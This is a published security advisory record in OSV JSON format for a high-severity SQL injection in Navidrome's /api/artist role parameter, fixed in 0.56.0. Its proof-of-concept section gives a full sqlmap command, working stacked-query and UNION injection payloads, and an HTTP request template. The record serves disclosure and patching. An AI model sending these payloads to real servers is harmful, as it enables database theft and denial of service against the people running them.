{"schema_version":"1.7.3","id":"GHSA-5wgp-vjxm-3x2r","published":"2025-05-29T17:27:56Z","modified":"2025-06-03T18:56:52.529630Z","aliases":["CVE-2025-48949","GO-2025-3734"],"summary":"Navidrome allows SQL Injection via role parameter","details":"## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n  API endpoint → `/api/artist`\n  Parameter → `role`\n\n* **Vulnerability Type**:\n  SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n  SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n  Successful exploitation allows an unauthenticated attacker to:\n\n  * Execute arbitrary SQL commands\n  * Extract or manipulate sensitive data (e.g., user records, playlists)\n  * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n  ```\n  http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n  ```\n\n* **UNION-Based Query**:\n\n  ```\n  http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n  ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2\nHost: <TARGET HOST>\nCookie: <REPLACE WITH VALID COOKIE>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: <REPLACE WITH AUTH TOKEN>\nX-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>\n```\n\n---","affected":[{"package":{"name":"github.com/navidrome/navidrome","ecosystem":"Go","purl":"pkg:golang/github.com/navidrome/navidrome"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.55.0"},{"fixed":"0.56.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.55.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json"}}],"references":[{"type":"WEB","url":"https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48949"},{"type":"WEB","url":"https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6"},{"type":"PACKAGE","url":"https://github.com/navidrome/navidrome"}],"database_specific":{"cwe_ids":["CWE-89"],"github_reviewed":true,"github_reviewed_at":"2025-05-29T17:27:56Z","nvd_published_at":"2025-05-30T20:15:44Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}